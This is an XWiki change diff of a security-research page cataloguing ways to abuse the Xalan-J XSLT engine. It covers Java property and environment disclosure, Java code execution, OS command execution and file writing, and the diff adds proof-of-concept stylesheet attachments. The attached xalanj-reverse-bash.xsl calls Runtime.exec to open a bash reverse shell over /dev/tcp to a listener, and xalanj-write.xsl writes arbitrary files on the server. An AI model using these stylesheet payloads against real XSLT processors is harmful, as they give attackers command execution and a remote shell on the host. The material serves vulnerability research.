Changes for page Engine_XalanJ
on 2012/01/11 23:28
on 2012/01/12 00:11
Summary
-
Page properties (1 modified, 0 added, 0 removed)
-
Attachments (0 modified, 3 added, 0 removed)
Details
- Page properties
-
- Content
-
... ... @@ -22,7 +22,7 @@ 22 22 * Java properties disclosure 23 23 * Java environment disclosure 24 24 * Java code execution 25 -* Arbitrarycommand execution25 +* OS command execution 26 26 * File creation 27 27 * JDBC connectivity 28 28 ... ... @@ -33,10 +33,9 @@ 33 33 |=Namespace|=Function|=PoC|=Sample output 34 34 |http:~/~/www.w3.org/1999/XSL/Transform|system-property()|[[xalanj-java-properties.xsl>>attach:xalanj-java-properties.xsl]]|[[xalanj-java-properties-output.txt>>attach:xalanj-java-properties-output.txt]] 35 35 36 - 37 37 == Java environment disclosure == 38 38 39 -The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (packages, paths, versions, ...). 38 +The checkEnvironment() extension function (documented [[here>>http://xml.apache.org/xalan-j/faq.html#faq-N10064||rel="__blank"]]) will display some information about the execution context (including available packages, paths, versions, ...). 40 40 41 41 |=Namespace|=Extension function|=PoC|=Sample output 42 42 |http:~/~/xml.apache.org/xalan|checkEnvironment()|[[xalanj-checkenv.xsl>>attach:xalanj-checkenv.xsl]]|[[xalanj-checkenv-output.txt>>attach:xalanj-checkenv-output.txt]] ... ... @@ -45,25 +45,28 @@ 45 45 46 46 The attached code will display the current date using a newly created "java.util.Date" object. This should be enough to demonstrate Java code execution. 47 47 48 - 49 49 |=Namespace|=Extension function|=PoC|=Sample output 50 50 |http:~/~/xml.apache.org/xalan/java/java.util.Date|new()|[[xalanj-java-date.xsl>>attach:xalanj-java-date.xsl]]|Current date: 51 51 Wed Jan 11 22:45:07 CET 2012 52 52 53 -== Executionofexternalcommands==51 +== OS command execution == 54 54 55 - Thefollowingcode will executethe command"touch/tmp/hello":53 +Once Java code execution is possible, it is trivial to execute arbitrary OS commands using the java.lang.Runtime class. The attached PoC will not read the output of the executed command (because loops are hard in XSLT). But this is not a problem if a reverse-shell have already been started, isn't it ;-) 56 56 57 -<?xml version="1.0"?> 58 -<xsl:stylesheet xmlns:xsl="http:~/~/www.w3.org/1999/XSL/Transform" 59 - xmlns:j="http:~/~/xml.apache.org/xalan/java" 60 - exclude-result-prefixes="j" 61 - version="1.0"> 62 - <xsl:template match="/"> 63 - <xsl:variable name="c"><![CDATA[touch = /tmp/hello]]></xsl:variable> 64 - <xsl:variable name="a" select="j:split($c, ' = ')"/> 65 - <xsl:variable name="r" select="j:java.lang.Runtime.getRuntime()"/> 66 - <xsl:variable name="p" select="j:exec($r, $a )"/> 67 - No content at the moment ... 68 - </xsl:template> 69 -</xsl:stylesheet> 55 +|=Namespace|=Extension functions|=PoC 56 +|http:~/~/xml.apache.org/xalan/java|split(), getRuntime(), exec() and toString()|[[xalanj-reverse-bash.xsl>>attach:xalanj-reverse-bash.xsl]] 57 + 58 +__Note__ : as arrays are not a native type in XSLT, we create one in Java via split() before passing it as an argument to [[exec(String[] cmdarray)>>http://docs.oracle.com/javase/1.4.2/docs/api/java/lang/Runtime.html#exec(java.lang.String[])||rel="__blank"]]. 59 + 60 +== File creation == 61 + 62 +The write extension element allows to create files on the engine side. The content written to the file must be valid UTF-8 (so plain ASCII works too). Existing files can be overwritten. 63 + 64 +|=Namespace|=Extension element|=Parameter|=PoC 65 +|http:~/~/xml.apache.org/xalan/redirect|write|file|[[xalanj-write.xsl>>attach:xalanj-write.xsl]]\\ 66 + 67 +ccc 68 + 69 +== JDBC connectivity == 70 + 71 +xxx TODO xxx
- xalanj-java-date.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +409 bytes - Content
-
... ... @@ -1,0 +1,11 @@ 1 +<xsl:stylesheet version="1.0" 2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 + xmlns:date="http://xml.apache.org/xalan/java/java.util.Date" 4 + exclude-result-prefixes="date"> 5 + <xsl:output method="text"/> 6 + <xsl:template match="/"> 7 + <xsl:variable name="dateObject" select="date:new()"/> 8 + <xsl:text>Current date: </xsl:text><xsl:value-of select="$dateObject"/> 9 + </xsl:template> 10 +</xsl:stylesheet> 11 +
- xalanj-reverse-bash.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +1002 bytes - Content
-
... ... @@ -1,0 +1,31 @@ 1 +<xsl:stylesheet 2 + xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 3 + xmlns:jv="http://xml.apache.org/xalan/java" 4 + exclude-result-prefixes="jv" 5 + version="1.0"> 6 + 7 + <xsl:template match="/"> 8 + 9 + <xsl:variable name="test"><![CDATA[/bin/bash ==== -c ==== /bin/bash 7<>/dev/tcp/127.0.0.1/4444 <&7 >&7]]></xsl:variable> 10 + <xsl:variable name="a" select="jv:split($test, ' ==== ')"/> 11 + <xsl:variable name="rtobject" select="jv:java.lang.Runtime.getRuntime()"/> 12 + <xsl:variable name="process" select="jv:exec($rtobject, $a )"/> 13 + 14 +Objet "String" : 15 + <xsl:value-of select="$test"/> 16 + 17 +Objet "Array" : 18 + <xsl:variable name="aAsString" select="jv:toString($a)"/> 19 + <xsl:value-of select="$aAsString"/> 20 + 21 +Objet "Runtime" : 22 + <xsl:variable name="rtobjectAsString" select="jv:toString($rtobject)"/> 23 + <xsl:value-of select="$rtobjectAsString"/> 24 + 25 +Objet "Process" : 26 + <xsl:variable name="processAsString" select="jv:toString($process)"/> 27 + <xsl:value-of select="$processAsString"/> 28 + 29 + </xsl:template> 30 +</xsl:stylesheet> 31 +
- xalanj-write.xsl
-
- Author
-
... ... @@ -1,0 +1,1 @@ 1 +xwiki:XWiki.NicolasGregoire - Size
-
... ... @@ -1,0 +1,1 @@ 1 +373 bytes - Content
-
... ... @@ -1,0 +1,13 @@ 1 +<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 2 + xmlns:redir="http://xml.apache.org/xalan/redirect" 3 + extension-element-prefixes="redir" 4 + version='1.0'> 5 + 6 + <xsl:template match="/"> 7 + <redir:write file="/tmp/created_by_xalanj_write" method="text"> 8 + <xsl:text>Just a PoC</xsl:text> 9 + </redir:write> 10 + </xsl:template> 11 + 12 +</xsl:stylesheet> 13 +